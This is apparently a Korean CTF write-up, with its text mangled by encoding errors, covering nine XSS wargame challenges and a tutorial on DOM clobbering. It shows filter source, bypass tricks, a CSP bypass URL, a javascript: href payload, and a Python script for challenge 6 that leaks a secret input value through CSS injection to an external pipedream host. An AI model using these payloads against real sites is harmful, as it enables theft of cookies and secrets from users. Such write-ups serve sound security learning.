Wargame

Mini CTF (XSS)

๋‚จ๋ฐ”์˜ค 2023. 3. 17. 23:03

1๋ฒˆ


1๋ฒˆ ๋ฌธ์ œ๋Š” ์•„๋ฌด ์ œ์•ฝ์กฐ๊ฑด์ด ์—†์–ด์„œ

๋กœ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

2๋ฒˆ


ํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋ณด๋ฉด,

script์™€ img๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๋Œ€์ฒดํ•˜๊ณ  ์žˆ๋‹ค.

$q = $_GET['q'];
$q = str_replace("<script","",$q);
$q = str_replace("<img","",$q);

๊ฐ„๋‹จํ•˜๊ฒŒ script๋ฅผ ๋‘ ๋ฒˆ ์จ์ฃผ๋ฉด ํ•ด๊ฒฐ๋˜๋Š” ๋ฌธ์ œ์˜€๋‹ค.

3๋ฒˆ


ํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋ณด๋ฉด,

$q = $_GET['q'];
$q = str_replace("document.cookie","x-document.cookie",$q);
    echo $q;

?></h1>

document.cookie๋ฅผ ํ•„ํ„ฐ๋งํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— [’ ‘] ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์šฐํšŒํ–ˆ๋‹ค.

  • PAYLOAD

4๋ฒˆ


ํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋ณด๋ฉด, ๋ฌธ์ž๋ฅผ ๋Œ€๋ฌธ์ž๋กœ ๋ฐ”๊พธ๋Š” ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋‹ค.

๋Œ€๋ฌธ์ž ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด HTML entity encoder๋ฅผ ํ™œ์šฉํ•˜์˜€๋‹ค.

๋ฌธ์ œ๋Š” ๊ธ€์ž์ˆ˜ ์ œํ•œ์ด 500์œผ๋กœ ๊ฑธ๋ ค์žˆ์–ด์„œ ์ฃผ๋กœ ์‚ฌ์šฉํ•˜๋˜ pipedream ์„œ๋ฒ„๋กœ๋Š” ๋ณด๋‚ด์ง€ ๋ชปํ•˜์—ฌ ์™ธ๋ถ€ ์„œ๋ฒ„๋กœ ๋ณด๋‚ด๋Š” ๋ฐฉ๋ฒ•์„ ์„ ํƒํ•˜์˜€๋‹ค.

$q = $_GET['q'];
$q = strtoupper($q);

5๋ฒˆ


ํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋ณด๋ฉด, ๋กœ์ปฌํ™˜๊ฒฝ์œผ๋กœ ์‹คํ–‰ํ•ด์•ผ์ง€๋งŒ flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋กœ์ปฌ์—์„œ ๋ณด๋‚ธ ๊ฒƒ์ฒ˜๋Ÿผ ๋กœ์ปฌ์—์„œ ๋ณด๋‚ด๊ณ  reconnect๋ฅผ ํ•ด์ฃผ์—ˆ๋‹ค.

์ด๋ฒˆ ๋ฌธ์ œ์—์„œ๋Š” FLAG{fake_flag}์— ์žˆ๋Š” ๊ฐ’์„ document.getElementById(’secret’).value์„ ์ด์šฉํ•ด์„œ flag๋ฅผ ๊ตฌํ•˜์˜€๋‹ค.

$sec_value = file_get_contents("/app/secret");
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1"){
    $sec_value = "FLAG{fake_flag}";
}

?>
    <input id="secret" value="<?php echo $sec_value;?>">

6๋ฒˆ


<style>
    <?php
        $q = str_replace('<','',$_GET['q']);
        $q = str_replace('>','',$q);
        echo $q;
    ?>
    </style>

6๋ฒˆ ๋ฌธ์ œ๋Š” $_GET[’q’]๊ฐ€ <style>ํƒœ๊ทธ ์•ˆ์— ์œ„์น˜ํ•˜๊ณ  ์žˆ์–ด input[value^=] ๋ฅผ ํ™œ์šฉํ•˜์˜€๋‹ค.

๋˜ ์•ˆ์—์„ , < ์™€ > ์ด ๊ณต๋ฐฑ์œผ๋กœ ์น˜ํ™˜๋˜๊ธฐ ๋•Œ๋ฌธ์— exploit code๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฒ˜๋ฆฌํ•˜์˜€๋‹ค.

import requests
import string

def mysql(condition):
    url = '<http://wuq.kr:9090/report.php>'
    
    query = '<http://wuq.kr:9090/xss1.php?q=>location.href="<http://127.0.0.1/xss6.php?q=input[value^=\\'%s\\']>{ background: url(\\'<<a href=https://eoe4b2t4ui5w640.m.pipedream.net/%s>https://eoe4b2t4ui5w640.m.pipedream.net/%s</a>\\')}\\"'> query_final = query %(condition, condition) datas = {'url':query_final, 'submit':'1'} R = requests.post(url, data=datas) flag = 'FLAG{XSS6_ashd' for i in range(0x21,0x7E): pre_flag = flag + chr(i) print(pre_flag) mysql(pre_flag)

7๋ฒˆ


7๋ฒˆ๋ถ€ํ„ฐ๋Š” CSP๊ฐ€ ๊ฑธ๋ ค์žˆ๋‹ค.

 header("Content-Security-Policy: script-src 'self';");

์‚ฌ์ง„๊ณผ ๊ฐ™์ด ๋‚ด ๋กœ์ปฌ ์ฃผ์†Œ๋ฅผ ์ œ์ถœํ•˜๋ฉด txt๊ฐ’์ด ๋ฐ˜ํ™˜๋˜๊ณ  ์ด๋ฅผ ํŽ˜์ด๋กœ๋“œ๋กœ ๋ณด๋‚ด๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

8๋ฒˆ


8๋ฒˆ๋ฌธ์ œ๋„ CSP๊ฐ€ ๊ฑธ๋ ค์žˆ์—ˆ๊ณ , ๊ตฌ๊ธ€๋ง์„ ํ†ตํ•ด CSP bypass ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์„œ angular์™€ prototype ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•ด์„œ ํ’€ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ์˜€๋‹ค.

์ฒ˜์Œ์—๋Š” ์ž˜ ๋ณด๋‚ด์ง€์ง€ ์•Š์•˜๋Š”๋ฐ URL ์ธ์ฝ”๋”ฉ ํ›„์— ๋ณด๋‚ด๋‹ˆ ์ •์ƒ์ ์œผ๋กœ flag๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

9๋ฒˆ


ํ•ด๋‹น ๋ฌธ์ œ์—์„œ๋Š” *.google.com์—์„œ ์˜ค๋Š” javascript๋งŒ ํ—ˆ์šฉํ•˜๊ณ  ์žˆ๋‹ค. ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์—, ๊ตฌ๊ธ€ ์„œ๋น„์Šค ์ค‘์—์„œ javascript๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฑธ ์ฐพ์œผ๋ฉด ๋ฌธ์ œ๋Š” ํ•ด๊ฒฐ๋œ๋‹ค.

Bypassing Content Security Policy ๊ด€๋ จ ๋ฌธ์„œ๋ฅผ ์ฐพ์•„๋ณด์•˜์„ ๋•Œ,

https://accounts.google.com/o/oauth2/revoke?callback=alert(1) ์™€ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

DOM Clobbering

DOM Clobbering?


DOM Clobbering์€ Javascript์—์„œ์˜ DOM ์ฒ˜๋ฆฌ ๋ฐฉ์‹์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ด๋‹ค.

์ด๋Š” DOM Based XSS์ค‘ ์„ธ๋ถ€ ๊ณต๊ฒฉ ๊ธฐ๋ฒ• ์ค‘ ํ•˜๋‚˜๋กœ, ์‚ฌ์šฉ์ž๊ฐ€ HTML์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์ž„์˜์˜ DOM ๊ฐ์ฒด๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๋‹ค๋ฅธ DOM ๊ฐ์ฒด๋ฅผ ์‚ญ์ œํ•˜๊ฑฐ๋‚˜ ๋ฎ์–ด์“ฐ๋Š” ๋ฐฉ์‹์œผ๋กœ ๋ณ€์กฐํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

์ผ๋ฐ˜์ ์ธ Stored XSS, Reflected XSS ๊ณต๊ฒฉ์˜ ๊ฒฝ์šฐ HTTP Response์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ๊ตฌ๋ฌธ์ด ํฌํ•จ๋˜์–ด ๋ธŒ๋ผ์šฐ์ €๋กœ ์ „๋‹ฌ๋˜์ง€๋งŒ, DOM based XSS์˜ ๊ฒฝ์šฐ ์„œ๋ฒ„ ์‘๋‹ต์—์„œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ณต๊ฒฉ ์›๋ฆฌ


form ํƒœ๊ทธ์—์„œ getElementById ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด, alert์ฐฝ์ด ๋„์–ด์ง€์ง€ ์•Š๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค

DOM ํ™˜๊ฒฝ์—์„œ id๊ฐ€ ๊ฐ™์€ ๊ฐ์ฒด๊ฐ€ 2๊ฐœ ์ด์ƒ ์กด์žฌํ•˜๋ฉด HTML Collection ๊ฐ์ฒด๊ฐ€ ๋˜์–ด ์•„๋ž˜์™€ ๊ฐ™์ด 2๊ฐœ์˜ ๊ฐ์ฒด๊ฐ€ ๋ชจ๋‘ ์ธ์‹๋œ๋‹ค.

<a id="aTag"></a>
<a id="aTag" name="hello" href="abcd" class="world">asdf</a>

: window.aTag๋กœ ์ ‘๊ทผํ–ˆ์„ ๋•Œ, HTML Collection ์ด๋ผ๋Š” ๊ฐ์ฒด๊ฐ€ ๋ฐ˜ํ™˜๋œ๋‹ค.

๋จผ์ € ์„ ์–ธ๋œ aํƒœ๊ทธ์™€ ๋‚˜์ค‘์— ์„ ์–ธ๋œ ํƒœ๊ทธ๊ฐ€ ๋ชจ๋‘ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ๊ฒƒ์€ HTML Collection ๊ฐ์ฒด์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํ•˜์œ„๊ฐ์ฒด๊ฐ€ 2๊ฐœ๊ฐ€ ์กด์žฌํ•œ๋‹ค๋Š” ์ ์ด๋‹ค.

<aside> ๐Ÿ’ก ๋งŒ์•ฝ id๊ฐ€ ๊ฐ™์€ 2๊ฐœ ์ด์ƒ์˜ ํƒœ๊ทธ๋ฅผ ์ •ํ™•ํ•˜๊ฒŒ ๊ตฌ๋ถ„ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด?

</aside>

<a id="aTag" name="a1"></a>
<a id="aTag" name="a2"></a>

Exploit


์‹œ๋‚˜๋ฆฌ์˜ค

  1. ์‚ฌ์šฉ์ž๊ฐ€ HTML์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.
  2. ์„œ๋น„์Šค ๋‚ด DOM ๊ด€๋ จ ์ทจ์•ฝ(innerHTMl, eval(), document.write, location.href ๋“ฑ) ๊ตฌ๊ฐ„์„ ํ™•์ธํ•œ๋‹ค.
  3. ํ•ด๋‹น ๊ตฌ๊ฐ„์„ ์ปจํŠธ๋กค ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ์ดํ„ฐ์— window.test์™€ ๊ฐ™์ด DOM Clobbering์ด ๊ฐ€๋Šฅํ•œ ์ง€์ ์„ ์ฐพ๋Š”๋‹ค.

value attribute

window.CONFIG.value ๊ฐ’์„ ๋ณ€์กฐํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด?


      window.CONFIG = window.CONFIG || {
          version:"2021.08.26",
          toLocation:"<<a href=http://example.com>http://example.com</a>>",
          value:"FLAG{fake_flag}"
      }
      if (window.CONFIG.value === "FLAG{helloworld}") {
          document.write('Congratulation!!! You know DOM Clobbering!!!');
      }else{ 
          document.write('Nope..!');
      }
    

window.CONFIG.value ๋Š” "FLAG{fake_flag}"๊ฐ€ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์„ค์ •๋˜์–ด์žˆ๋‹ค.

FLAG์˜ ๊ฐ’์„ ๋ณ€์กฐํ•˜๊ธฐ ์œ„ํ•ด, aํƒœ๊ทธ์˜ id ์†์„ฑ๊ณผ name ์†์„ฑ์„ ์‚ฌ์šฉํ•ด๋ณผ ์ˆœ ์žˆ์ง€๋งŒ ์›ํ•˜๋Š” ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊พธ๊ธด ํž˜๋“ค๋‹ค. ์ด ๋•Œ, value ๋ผ๋Š” ์†์„ฑ์„ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋‚ด์žฌํ•˜๊ณ  ์žˆ๋Š” ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ๋‹ค๋ฉด ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

input ํƒœ๊ทธ์˜ value ์†์„ฑ์„ ์ด์šฉํ•œ๋‹ค๋ฉด,

CONFIG๋ผ๋Š” id๋ฅผ ํ• ๋‹นํ•ด์ฃผ๊ณ , value ์†์„ฑ์— ์›ํ•˜๋Š” ๊ฐ’์„ ํ• ๋‹นํ•ด์ฃผ๋ฉด ๋œ๋‹ค.


      window.CONFIG = window.CONFIG || {
          version:"2021.08.26",
          toLocation:"<<a href=http://example.com>http://example.com</a>>",
          value:"FLAG{fake_flag}"
      }
      if (window.CONFIG.value === "FLAG{helloworld}") {
          document.write('Congratulation!!! You know DOM Clobbering!!!');
      }else{ 
          document.write('Nope..!');
      }
    

a tag & area tag

<a> ํƒœ๊ทธ์™€ <area> ํƒœ๊ทธ์˜ ๊ฐ์ฒด ํŠน์„ฑ ์ƒ, ํ•ด๋‹น ๊ฐ์ฒด๋ฅผ ๋ฌธ์ž์—ดํ™”(toString)ํ•  ๊ฒฝ์šฐ์— href(URL)์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

href ์†์„ฑ์— URL์ด ์กด์žฌํ•  ๋•Œ, <a> ํƒœ๊ทธ์—์„œ toString() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๊ฒฝ์šฐ, aํƒœ๊ทธ๊ฐ€ ๋ฌธ์ž์—ด(URL)๋กœ ๋ฐ˜ํ™˜๋œ๋‹ค.

๋ธ”๋กœ๊ทธ ์ฃผ์†Œ

javascript์—์„œ ๊ฐ์ฒด์™€ ๋ฌธ์ž์—ด์ด ์—ฐ์‚ฐ๋  ๋•Œ์—๋Š” Object.toString() ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋œ๋‹ค. ์ด๋กœ ์ธํ•ด, <a>(๊ฐ์ฒด)์™€ ‘’(๋นˆ๋ฌธ์ž์—ด)์„ + ํ•œ ๊ฒฝ์šฐ์—๋„ toString()ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜์–ด, ๊ฒฐ๊ณผ์ ์œผ๋กœ href๊ฐ€ ์ถœ๋ ฅ๋˜๊ฒŒ ๋œ๋‹ค.

ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ Redirect๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ, ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ ์ด๋™์‹œํ‚ค๊ณ  ์‹ถ๋‹ค๋ฉด?

<html> 
    <!--
    Code Injection Zone 
    -->
    <script>
        window.CONFIG = window.CONFIG ||{ 
       	    version:"2021.11.18",
            toLocation: null,
            value:"FLAG{fake_flag}"
        }
        if (window.CONFIG.toLocation != null) {
        	location.href = window.CONFIG.toLocation;
        }else{ 
        	document.write("nope...!");
        }
    </script>
</html>

location.href ์˜ ๊ฐ’์„ ๋ฐ”๊พธ๋ฉด ํŽ˜์ด์ง€์˜ URL์ด ๋ณ€๊ฒฝ๋œ๋‹ค.

if๋ฌธ ๋‚ด์—์„œ location.href์— window.CONFIG.toLocation์ด ๋Œ€์ž…๋˜๋ฏ€๋กœ ํ•ด๋‹น ๊ฐ์ฒด๋ฅผ ๋ณ€์กฐํ•ด์•ผ ํ•œ๋‹ค.

location.href๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฌธ์ž์—ด ๊ฐ์ฒด์ด๊ณ  window.CONFIG.toLocation ๊ฐ์ฒด๊ฐ€ a ํƒœ๊ทธ์ผ ๊ฒฝ์šฐ์— location.href์— ๋Œ€์ž…๋  ๋•Œ toString()์„ ํ˜ธ์ถœํ•˜๊ฒŒ ๋œ๋‹ค.

์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์งœ๋ณด๋ฉด,

  1. a ํƒœ๊ทธ๋ฅผ 2๊ฐœ ์„ ์–ธํ•œ๋‹ค. → HTML Collection ⇒ name ์†์„ฑ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด
  2. 2๊ฐœ์˜ ํƒœ๊ทธ ์ค‘์— ํ•˜๋‚˜์˜ name ์†์„ฑ์„ “toLocation”์œผ๋กœ ์ง€์ • → toLocation ๊ฐ์ฒด๋ฅผ ๋ณ€์กฐํ•˜๊ธฐ ์œ„ํ•ด
  3. name=”toLocation”์ธ a ํƒœ๊ทธ์˜ href ์†์„ฑ์„ URL๋กœ ์ง€์ •ํ•œ๋‹ค.
```php
<html>
    **<a id="CONFIG"></a>
    <a id="CONFIG" name="toLocation" href="javascript:alert('XSS')"></a>**
    
    <script>
        window.CONFIG = window.CONFIG ||{
            version:"2021.11.18",
            toLocation: null,
            value:"FLAG{fake_flag}"
        }
        if (window.CONFIG.toLocation != null) {
                location.href = window.CONFIG.toLocation;
        }else{
                document.write("nope...!");
        }
    </script>
</html>